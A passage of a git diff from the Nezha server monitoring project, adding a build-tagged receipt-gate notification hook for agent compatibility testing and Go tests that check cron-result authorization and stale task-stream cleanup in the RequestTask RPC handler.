bufio.NewReader(conn), generation: generation, context: ctx, cancel: cancel, hold: true} +} + +func SetReceiptGateListener(listener net.Listener) { + if listener == nil { + return + } + activeReceiptGateMu.Lock() + previousListener := receiptGateListener + previousCancel := receiptGateCancel + receiptGateListener = listener + listenerContext, cancel := context.WithCancel(context.Background()) + receiptGateCancel = cancel + activeReceiptGateMu.Unlock() + if previousCancel != nil { + previousCancel() + } + if previousListener != nil { + _ = previousListener.Close() + } + receiptGateWaitGroup.Add(1) + go acceptReceiptGateConnections(listenerContext, listener) +} + +func acceptReceiptGateConnections(ctx context.Context, listener net.Listener) { + defer receiptGateWaitGroup.Done() + for { + connection, err := listener.Accept() + if err != nil { + select { + case <-ctx.Done(): + return + default: + } + return + } + activeReceiptGateMu.Lock() + receiptGateGeneration++ + generation := receiptGateGeneration + previous := activeReceiptGate + gate := newReceiptGate(connection, generation) + activeReceiptGate = gate + activeReceiptGateMu.Unlock() + if previous != nil { + previous.close() + } + if err := connection.SetWriteDeadline(time.Now().Add(receiptGateCommandTimeout)); err != nil { + resetReceiptGate(gate) + continue + } + if _, err := fmt.Fprintln(connection, "ready"); err != nil { + resetReceiptGate(gate) + continue + } + _ = connection.SetWriteDeadline(time.Time{}) + } +} + +func (gate *receiptGate) close() { + gate.closeOnce.Do(func() { + gate.cancel() + _ = gate.conn.Close() + }) +} + +func CloseReceiptGate() { + activeReceiptGateMu.Lock() + listener := receiptGateListener + cancel := receiptGateCancel + gate := activeReceiptGate + receiptGateListener = nil + receiptGateCancel = nil + activeReceiptGate = nil + activeReceiptGateMu.Unlock() + if cancel != nil { + cancel() + } + if listener != nil { + _ = listener.Close() + } + if gate != nil { + gate.close() + } + receiptGateWaitGroup.Wait() +} + +func resetReceiptGate(gate *receiptGate) { + activeReceiptGateMu.Lock() + if activeReceiptGate == gate { + activeReceiptGate = nil + } + activeReceiptGateMu.Unlock() + gate.close() +} + +func currentReceiptGate() *receiptGate { + activeReceiptGateMu.RLock() + defer activeReceiptGateMu.RUnlock() + return activeReceiptGate +} + +func (gate *receiptGate) sendAccepted(serverID uint64, uuid string, generation, count uint64) error { + gate.stateMu.Lock() + gate.acceptedCount++ + count = gate.acceptedCount + hold := gate.hold + gate.stateMu.Unlock() + gate.ioMu.Lock() + defer gate.ioMu.Unlock() + if err := gate.conn.SetDeadline(time.Now().Add(receiptGateCommandTimeout)); err != nil { + resetReceiptGate(gate) + return err + } + if _, err := fmt.Fprintf(gate.conn, "accepted %d %s %d %d %d\n", serverID, uuid, gate.generation, generation, count); err != nil { + resetReceiptGate(gate) + return err + } + if !hold { + _ = gate.conn.SetDeadline(time.Time{}) + return nil + } + command, err := gate.read.ReadString('\n') + if err != nil { + resetReceiptGate(gate) + return err + } + if strings.TrimSpace(command) != "release" { + err := errors.New("receipt gate received unexpected command") + resetReceiptGate(gate) + return err + } + gate.stateMu.Lock() + gate.hold = false + gate.stateMu.Unlock() + if err := gate.conn.SetDeadline(time.Time{}); err != nil { + resetReceiptGate(gate) + return err + } + return nil +} + +func notifyReceiptAccepted(serverID uint64, uuid string, generation, count uint64) error { + gate := currentReceiptGate() + if gate == nil { + return nil + } + return gate.sendAccepted(serverID, uuid, generation, count) +} + +func notifyStateReceived(serverID uint64, uuid string, generation, count uint64) error { + gate := currentReceiptGate() + if gate == nil { + return nil + } + gate.ioMu.Lock() + defer gate.ioMu.Unlock() + if err := gate.conn.SetWriteDeadline(time.Now().Add(receiptGateCommandTimeout)); err != nil { + resetReceiptGate(gate) + return err + } + if _, err := fmt.Fprintf(gate.conn, "state %d %s %d %d\n", serverID, uuid, generation, count); err != nil { + resetReceiptGate(gate) + return err + } + return gate.conn.SetWriteDeadline(time.Time{}) +} + +func notifyInfo2(serverID uint64, uuid string) error { + gate := currentReceiptGate() + if gate == nil { + return nil + } + gate.ioMu.Lock() + defer gate.ioMu.Unlock() + if err := gate.conn.SetWriteDeadline(time.Now().Add(receiptGateCommandTimeout)); err != nil { + resetReceiptGate(gate) + return err + } + if _, err := fmt.Fprintf(gate.conn, "info2 %d %d %s\n", gate.generation, serverID, uuid); err != nil { + resetReceiptGate(gate) + return err + } + return gate.conn.SetWriteDeadline(time.Time{}) +} + +func notifyMCPTaskDispatched(serverID, taskID, taskType uint64) { + notifyMCPReceipt("task", serverID, taskID, taskType) +} + +func notifyMCPTaskResultAccepted(serverID, taskID, taskType uint64) { + notifyMCPReceipt("result", serverID, taskID, taskType) +} + +func notifyMCPReceipt(kind string, serverID, taskID, taskType uint64) { + gate := currentReceiptGate() + if gate == nil { + return + } + gate.ioMu.Lock() + defer gate.ioMu.Unlock() + if err := gate.conn.SetWriteDeadline(time.Now().Add(receiptGateCommandTimeout)); err != nil { + resetReceiptGate(gate) + return + } + if _, err := fmt.Fprintf(gate.conn, "%s %d %d %d %d\n", kind, gate.generation, serverID, taskID, taskType); err != nil { + resetReceiptGate(gate) + return + } + if err := gate.conn.SetWriteDeadline(time.Time{}); err != nil { + resetReceiptGate(gate) + } +} diff --git a/service/rpc/receipt_gate_agentcompat_test.go b/service/rpc/receipt_gate_agentcompat_test.go new file mode 100644 index 00000000..00402286 --- /dev/null +++ b/service/rpc/receipt_gate_agentcompat_test.go @@ -0,0 +1,224 @@ +//go:build agentcompat + +package rpc + +import ( + "bufio" + "fmt" + "net" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func installReceiptGateForTest(conn net.Conn) *receiptGate { + activeReceiptGateMu.Lock() + receiptGateGeneration++ + generation := receiptGateGeneration + activeReceiptGateMu.Unlock() + gate := newReceiptGate(conn, generation) + activeReceiptGateMu.Lock() + activeReceiptGate = gate + activeReceiptGateMu.Unlock() + return gate +} + +func clearReceiptGateForTest() { + activeReceiptGateMu.Lock() + gate := activeReceiptGate + activeReceiptGate = nil + activeReceiptGateMu.Unlock() + if gate != nil { + gate.close() + } +} + +func TestReceiptGate_EOFResetsGate(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + installReceiptGateForTest(serverConn) + defer clearReceiptGateForTest() + gate := currentReceiptGate() + require.NotNil(t, gate) + go func() { + reader := bufio.NewReader(clientConn) + _, _ = reader.ReadString('\n') + _ = clientConn.Close() + }() + + // When + err := notifyReceiptAccepted(7, "uuid", 1, 1) + + // Then + require.Error(t, err) + activeReceiptGateMu.RLock() + active := activeReceiptGate + activeReceiptGateMu.RUnlock() + require.Nil(t, active) +} + +func TestReceiptGate_ListenerAcceptsAndReplacesConnections(t *testing.T) { + listener, err := net.Listen("tcp", "127.0.0.1:0") + require.NoError(t, err) + defer CloseReceiptGate() + SetReceiptGateListener(listener) + + oldClient, err := net.Dial("tcp", listener.Addr().String()) + require.NoError(t, err) + oldReader := bufio.NewReader(oldClient) + require.Equal(t, "ready\n", mustReadLine(t, oldReader)) + + newClient, err := net.Dial("tcp", listener.Addr().String()) + require.NoError(t, err) + defer newClient.Close() + newReader := bufio.NewReader(newClient) + require.Equal(t, "ready\n", mustReadLine(t, newReader)) + _ = oldClient.SetReadDeadline(time.Now().Add(time.Second)) + _, oldErr := oldReader.ReadString('\n') + require.Error(t, oldErr) +} + +func TestReceiptGate_CloseInterruptsHeldReadAndQueuedWrite(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + installReceiptGateForTest(serverConn) + acceptedStarted := make(chan struct{}) + acceptedDone := make(chan error, 1) + go func() { + close(acceptedStarted) + acceptedDone <- notifyReceiptAccepted(7, "uuid", 1, 1) + }() + <-acceptedStarted + reader := bufio.NewReader(clientConn) + require.Equal(t, "accepted 7 uuid "+fmt.Sprint(currentReceiptGate().generation)+" 1 1\n", mustReadLine(t, reader)) + + infoStarted := make(chan struct{}) + infoDone := make(chan error, 1) + go func() { + close(infoStarted) + infoDone <- notifyInfo2(9, "held") + }() + <-infoStarted + + // When + CloseReceiptGate() + + // Then + select { + case <-acceptedDone: + case <-time.After(time.Second): + t.Fatal("held receipt read was not interrupted") + } + select { + case <-infoDone: + case <-time.After(time.Second): + t.Fatal("queued notification write was not released") + } +} + +func mustReadLine(t *testing.T, reader *bufio.Reader) string { + t.Helper() + line, err := reader.ReadString('\n') + require.NoError(t, err) + return line +} + +func TestReceiptGate_MalformedCommandResetsGate(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + installReceiptGateForTest(serverConn) + defer clearReceiptGateForTest() + go func() { + reader := bufio.NewReader(clientConn) + _, _ = reader.ReadString('\n') + _, _ = clientConn.Write([]byte("hold\n")) + }() + + // When + err := notifyReceiptAccepted(7, "uuid", 1, 1) + + // Then + require.EqualError(t, err, "receipt gate received unexpected command") + activeReceiptGateMu.RLock() + active := activeReceiptGate + activeReceiptGateMu.RUnlock() + require.Nil(t, active) +} + +func TestReceiptGate_ReplacementClosesOldConnection(t *testing.T) { + t.Run("replacement closes old connection", func(t *testing.T) { + // Given + oldServer, oldClient := net.Pipe() + newServer, newClient := net.Pipe() + t.Cleanup(func() { require.NoError(t, oldClient.Close()) }) + t.Cleanup(func() { require.NoError(t, newClient.Close()) }) + oldGate := installReceiptGateForTest(oldServer) + t.Cleanup(oldGate.close) + t.Cleanup(clearReceiptGateForTest) + newGate := newReceiptGate(newServer, oldGate.generation+1) + activeReceiptGateMu.Lock() + activeReceiptGate = newGate + activeReceiptGateMu.Unlock() + oldDone := make(chan error, 1) + go func() { oldDone <- oldGate.sendAccepted(7, "uuid", 1, 1) }() + reader := bufio.NewReader(oldClient) + _, _ = reader.ReadString('\n') + + // When + oldGate.close() + + // Then + select { + case err := <-oldDone: + require.Error(t, err) + case <-time.After(time.Second): + t.Fatal("old receipt gate remained blocked after replacement") + } + }) + + require.Nil(t, currentReceiptGate()) +} + +func TestReceiptGate_Info2AndReceiptNotificationsSerialize(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + installReceiptGateForTest(serverConn) + defer clearReceiptGateForTest() + gate := currentReceiptGate() + require.NotNil(t, gate) + lines := make(chan string, 2) + go func() { + reader := bufio.NewReader(clientConn) + line, err := reader.ReadString('\n') + if err != nil { + return + } + lines <- strings.TrimSpace(line) + _, _ = clientConn.Write([]byte("release\n")) + line, err = reader.ReadString('\n') + if err == nil { + lines <- strings.TrimSpace(line) + } + }() + + // When + acceptedDone := make(chan error, 1) + go func() { acceptedDone <- notifyReceiptAccepted(7, "uuid", 1, 1) }() + select { + case err := <-acceptedDone: + require.NoError(t, err) + case <-time.After(time.Second): + require.NoError(t, <-acceptedDone) + } + require.NoError(t, notifyInfo2(7, "uuid")) + + // Then + require.Equal(t, "accepted 7 uuid "+fmt.Sprint(gate.generation)+" 1 1", <-lines) + require.Equal(t, "info2 "+fmt.Sprint(gate.generation)+" 7 uuid", <-lines) +} diff --git a/service/rpc/receipt_gate_default.go b/service/rpc/receipt_gate_default.go new file mode 100644 index 00000000..c6476201 --- /dev/null +++ b/service/rpc/receipt_gate_default.go @@ -0,0 +1,19 @@ +//go:build !agentcompat + +package rpc + +import "net" + +func SetReceiptGateListener(net.Listener) {} + +func CloseReceiptGate() {} + +func notifyReceiptAccepted(uint64, string, uint64, uint64) error { return nil } + +func notifyStateReceived(uint64, string, uint64, uint64) error { return nil } + +func notifyInfo2(uint64, string) error { return nil } + +func notifyMCPTaskDispatched(uint64, uint64, uint64) {} + +func notifyMCPTaskResultAccepted(uint64, uint64, uint64) {} diff --git a/service/rpc/request_task_missing_server_test.go b/service/rpc/request_task_missing_server_test.go new file mode 100644 index 00000000..a44350ba --- /dev/null +++ b/service/rpc/request_task_missing_server_test.go @@ -0,0 +1,25 @@ +package rpc + +import ( + "testing" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestAttachRequestTaskStream_MissingServerDoesNotPanic(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "eeeeeeee-eeee-eeee-eeee-eeeeeeeeeeee") + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, nil, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + singleton.ServerShared.Delete([]uint64{reporter.ID}) + + srv, ok := attachRequestTaskStream(reporter.ID, nil) + if ok { + t.Fatal("attach must report not-ok when the server was deleted between auth and lookup") + } + if srv != nil { + t.Fatalf("attach must return a nil server for a deleted id, got %#v", srv) + } +} diff --git a/service/rpc/request_task_security_test.go b/service/rpc/request_task_security_test.go new file mode 100644 index 00000000..3b57016d --- /dev/null +++ b/service/rpc/request_task_security_test.go @@ -0,0 +1,402 @@ +package rpc + +import ( + "context" + "errors" + "testing" + "time" + + "google.golang.org/grpc/metadata" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +type requestTaskSecurityStream struct { + ctx context.Context + results []*pb.TaskResult + onRecv func() + onResult func() + onSend func(*pb.Task) + sendErr error +} + +func (s *requestTaskSecurityStream) Send(task *pb.Task) error { + if s.onSend != nil { + s.onSend(task) + } + return s.sendErr +} + +func (s *requestTaskSecurityStream) Recv() (*pb.TaskResult, error) { + if len(s.results) == 0 { + if s.onRecv != nil { + s.onRecv() + } + return nil, context.Canceled + } + result := s.results[0] + s.results = s.results[1:] + if s.onResult != nil { + onResult := s.onResult + s.onResult = nil + onResult() + } + return result, nil +} + +func (s *requestTaskSecurityStream) SetHeader(metadata.MD) error { return nil } +func (s *requestTaskSecurityStream) SendHeader(metadata.MD) error { return nil } +func (s *requestTaskSecurityStream) SetTrailer(metadata.MD) {} +func (s *requestTaskSecurityStream) Context() context.Context { return s.ctx } +func (s *requestTaskSecurityStream) SendMsg(any) error { return nil } +func (s *requestTaskSecurityStream) RecvMsg(any) error { return context.Canceled } + +func TestRequestTaskSkipsCronResultOwnedByAnotherUser(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "11111111-1111-1111-1111-111111111111") + victimCron := requestTaskSecurityCron(42, 100, model.CronCoverAll, nil) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{victimCron}, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(victimCron.ID, true)) + + if cronLastResult(t, victimCron.ID) { + t.Fatal("foreign cron result must not update victim cron status") + } +} + +func TestRequestTaskSkipsCronResultOutsideReporterCover(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "22222222-2222-2222-2222-222222222222") + coveredServerID := uint64(8) + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverIgnoreAll, []uint64{coveredServerID}) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + + if cronLastResult(t, cronTask.ID) { + t.Fatal("cron result from a server outside cron cover must not update cron status") + } +} + +func TestRequestTaskSkipsCronCoverAllExcludedReporter(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "88888888-8888-8888-8888-888888888888") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAll, []uint64{reporter.ID}) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + + if cronLastResult(t, cronTask.ID) { + t.Fatal("cron result from a server excluded by CronCoverAll must not update cron status") + } +} + +func TestRequestTaskAllowsCronCoverAllReporter(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "99999999-9999-9999-9999-999999999999") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAll, []uint64{8}) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + + if !cronLastResult(t, cronTask.ID) { + t.Fatal("CronCoverAll reporter not in the exclusion list must update cron status") + } +} + +func TestRequestTaskAllowsCronResultForCoveredOwnerServer(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "33333333-3333-3333-3333-333333333333") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverIgnoreAll, []uint64{reporter.ID}) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + + if !cronLastResult(t, cronTask.ID) { + t.Fatal("covered owner cron result must update cron status") + } +} + +func TestRequestTaskAllowsCronResultForCoveredAdminOwnedCron(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "44444444-4444-4444-4444-444444444444") + cronTask := requestTaskSecurityCron(42, 1, model.CronCoverIgnoreAll, []uint64{reporter.ID}) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + + if !cronLastResult(t, cronTask.ID) { + t.Fatal("covered admin-owned cron result must update cron status") + } +} + +func TestRequestTaskSkipsAlertTriggerCronResultFromUntriggeredReporter(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "55555555-5555-5555-5555-555555555555") + triggerServer := requestTaskSecurityServer(8, 200, "66666666-6666-6666-6666-666666666666") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAlertTrigger, nil) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter, triggerServer}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200, "trigger-secret": 200}) + connectRequestTaskSecurityTaskStream(t, triggerServer.ID) + singleton.CronTrigger(cronTask, triggerServer.ID)() + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + + if cronLastResult(t, cronTask.ID) { + t.Fatal("alert-trigger cron result from a non-triggered server must not update cron status") + } +} + +func TestRequestTaskAllowsAlertTriggerCronResultForTriggeredReporter(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "77777777-7777-7777-7777-777777777777") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAlertTrigger, nil) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + connectRequestTaskSecurityTaskStream(t, reporter.ID) + singleton.CronTrigger(cronTask, reporter.ID)() + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + + if !cronLastResult(t, cronTask.ID) { + t.Fatal("alert-trigger cron result from the triggered server must update cron status") + } +} + +func TestRequestTaskAllowsAlertTriggerCronResultReportedDuringSend(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAlertTrigger, nil) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + connectRequestTaskSecurityTaskStreamWithSendHook(t, reporter.ID, nil, func(task *pb.Task) { + if task.GetId() != cronTask.ID { + t.Fatalf("expected alert-trigger task %d, got %d", cronTask.ID, task.GetId()) + } + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + }) + + singleton.CronTrigger(cronTask, reporter.ID)() + + if !cronLastResult(t, cronTask.ID) { + t.Fatal("alert-trigger cron result reported during Send must update cron status") + } +} + +func TestRequestTaskSkipsAlertTriggerCronResultAfterSendFailure(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAlertTrigger, nil) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + connectRequestTaskSecurityTaskStreamWithSendHook(t, reporter.ID, errors.New("send failed"), nil) + singleton.CronTrigger(cronTask, reporter.ID)() + + runRequestTaskSecurityResult(t, "reporter-secret", reporter.UUID, cronTaskResult(cronTask.ID, true)) + + if cronLastResult(t, cronTask.ID) { + t.Fatal("alert-trigger cron result after failed dispatch must not update cron status") + } +} + +func TestRequestTaskClearsTaskStreamOnRecvError(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "cccccccc-cccc-cccc-cccc-cccccccccccc") + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, nil, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + stream := requestTaskSecurityAuthedStream("reporter-secret", reporter.UUID) + err := NewNezhaHandler().RequestTask(stream) + if !errors.Is(err, context.Canceled) { + t.Fatalf("expected RequestTask to finish after Recv error, got %v", err) + } + + server, ok := singleton.ServerShared.Get(reporter.ID) + if !ok { + t.Fatalf("server %d not found", reporter.ID) + } + if got := server.GetTaskStream(); got != nil { + t.Fatalf("dead RequestTask stream must be cleared, got %T", got) + } +} + +func TestRequestTaskKeepsNewerTaskStreamOnOldRecvError(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "dddddddd-dddd-dddd-dddd-dddddddddddd") + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, nil, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + server, ok := singleton.ServerShared.Get(reporter.ID) + if !ok { + t.Fatalf("server %d not found", reporter.ID) + } + newer := &requestTaskSecurityStream{ctx: context.Background()} + old := requestTaskSecurityAuthedStream("reporter-secret", reporter.UUID) + old.onRecv = func() { + server.SetTaskStream(newer) + } + + err := NewNezhaHandler().RequestTask(old) + if !errors.Is(err, context.Canceled) { + t.Fatalf("expected RequestTask to finish after Recv error, got %v", err) + } + if got := server.GetTaskStream(); got != newer { + t.Fatalf("old stream cleanup must keep newer stream, got %T", got) + } +} + +func setupRequestTaskSecurityFixture(t *testing.T, servers []*model.Server, crons []*model.Cron, users map[uint64]model.UserInfo, agentSecrets map[string]uint64) { + t.Helper() + + originalDB := singleton.DB + originalConf := singleton.Conf + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalNotification := singleton.NotificationShared + originalServerShared := singleton.ServerShared + originalServiceSentinel := singleton.ServiceSentinelShared + originalCronShared := singleton.CronShared + originalUserInfoMap := singleton.UserInfoMap + originalAgentSecretToUserID := singleton.AgentSecretToUserId + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + if err != nil { + t.Fatal(err) + } + sqlDB, err := db.DB() + if err != nil { + t.Fatal(err) + } + sqlDB.SetMaxOpenConns(1) + + singleton.DB = db + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{}} + singleton.Loc = time.UTC + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + singleton.NotificationShared = singleton.NewEmptyNotificationClassForTest() + if err := singleton.DB.AutoMigrate(model.Server{}, model.Cron{}); err != nil { + t.Fatal(err) + } + for _, server := range servers { + if err := singleton.DB.Create(server).Error; err != nil { + t.Fatal(err) + } + } + for _, cronTask := range crons { + if err := singleton.DB.Create(cronTask).Error; err != nil { + t.Fatal(err) + } + } + + singleton.UserLock.Lock() + singleton.UserInfoMap = users + singleton.AgentSecretToUserId = agentSecrets + singleton.UserLock.Unlock() + singleton.ServerShared = singleton.NewServerClass() + singleton.CronShared = singleton.NewCronClass() + + t.Cleanup(func() { + singleton.CronShared.Close() + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Conf = originalConf + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.NotificationShared = originalNotification + singleton.ServiceSentinelShared = originalServiceSentinel + singleton.ServerShared = originalServerShared + singleton.CronShared = originalCronShared + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfoMap + singleton.AgentSecretToUserId = originalAgentSecretToUserID + singleton.UserLock.Unlock() + }) +} + +func requestTaskSecurityServer(id, userID uint64, uuid string) *model.Server { + return &model.Server{ + Common: model.Common{ID: id, UserID: userID}, + UUID: uuid, + Name: "request-task-security-server", + } +} + +func requestTaskSecurityCron(id, userID uint64, cover uint8, servers []uint64) *model.Cron { + return &model.Cron{ + Common: model.Common{ID: id, UserID: userID}, + Name: "request-task-security-cron", + Command: "id", + Scheduler: "@every 1h", + Cover: cover, + Servers: servers, + } +} + +func cronTaskResult(cronID uint64, successful bool) *pb.TaskResult { + return &pb.TaskResult{ + Id: cronID, + Type: model.TaskTypeCommand, + Delay: 1, + Data: "cron result", + Successful: successful, + } +} + +func connectRequestTaskSecurityTaskStream(t *testing.T, serverID uint64) { + t.Helper() + + connectRequestTaskSecurityTaskStreamWithSendHook(t, serverID, nil, nil) +} + +func connectRequestTaskSecurityTaskStreamWithSendHook(t *testing.T, serverID uint64, sendErr error, onSend func(*pb.Task)) { + t.Helper() + + server, ok := singleton.ServerShared.Get(serverID) + if !ok { + t.Fatalf("server %d not found", serverID) + } + server.SetTaskStream(&requestTaskSecurityStream{ctx: context.Background(), sendErr: sendErr, onSend: onSend}) +} + +func runRequestTaskSecurityResult(t *testing.T, secret string, uuid string, result *pb.TaskResult) { + t.Helper() + + stream := requestTaskSecurityAuthedStream(secret, uuid) + stream.results = []*pb.TaskResult{result} + err := NewNezhaHandler().RequestTask(stream) + if !errors.Is(err, context.Canceled) { + t.Fatalf("expected RequestTask to finish after test result, got %v", err) + } +} + +func requestTaskSecurityAuthedStream(secret string, uuid string) *requestTaskSecurityStream { + return &requestTaskSecurityStream{ + ctx: metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client_secret", secret, + "client_uuid", uuid, + )), + } +} + +func cronLastResult(t *testing.T, cronID uint64) bool { + t.Helper() + + var cronTask model.Cron + if err := singleton.DB.First(&cronTask, cronID).Error; err != nil { + t.Fatal(err) + } + return cronTask.LastResult +} diff --git a/service/rpc/request_task_stale_stream_test.go b/service/rpc/request_task_stale_stream_test.go new file mode 100644 index 00000000..95885255 --- /dev/null +++ b/service/rpc/request_task_stale_stream_test.go @@ -0,0 +1,135 @@ +package rpc + +import ( + "context" + "errors" + "testing" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +// When a server is edited mid-session, updateServer swaps a new *Server into +// ServerShared that adopts the live stream holder. The agent's RequestTask +// cleanup must detach the stream from whichever *Server is currently published, +// not the stale object captured when the stream attached — otherwise the new +// object keeps reporting the agent as online on a dead stream. +func TestRequestTaskCleanupDetachesStreamFromCurrentServerAfterEdit(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "ffffffff-ffff-ffff-ffff-ffffffffffff") + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, nil, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + old, ok := singleton.ServerShared.Get(reporter.ID) + if !ok { + t.Fatalf("server %d not found", reporter.ID) + } + + stream := requestTaskSecurityAuthedStream("reporter-secret", reporter.UUID) + stream.onRecv = func() { + edited := &model.Server{Common: model.Common{ID: old.ID, UserID: old.UserID}, UUID: old.UUID, Name: "edited"} + edited.CopyFromRunningServer(old) + singleton.ServerShared.Update(edited, "") + } + + if err := NewNezhaHandler().RequestTask(stream); !errors.Is(err, context.Canceled) { + t.Fatalf("expected RequestTask to finish after Recv error, got %v", err) + } + + current, ok := singleton.ServerShared.Get(reporter.ID) + if !ok { + t.Fatalf("server %d not found after edit", reporter.ID) + } + if got := current.GetTaskStream(); got != nil { + t.Fatalf("edited server must report offline after the agent stream dropped, got %T", got) + } +} + +func TestRequestTaskRejectsResultWhenServerDeletedAfterRecv(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "10101010-1010-1010-1010-101010101010") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAll, nil) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + stream := requestTaskSecurityAuthedStream("reporter-secret", reporter.UUID) + stream.results = []*pb.TaskResult{cronTaskResult(cronTask.ID, true)} + stream.onResult = func() { + singleton.ServerShared.Delete([]uint64{reporter.ID}) + } + + err := NewNezhaHandler().RequestTask(stream) + if !errors.Is(err, ErrRequestTaskStreamSuperseded) { + t.Fatalf("expected stale RequestTask stream error, got %v", err) + } + assertCronResultNotUpdated(t, cronTask.ID) +} + +func TestRequestTaskRejectsResultWhenNewerStreamSupersedesOld(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, 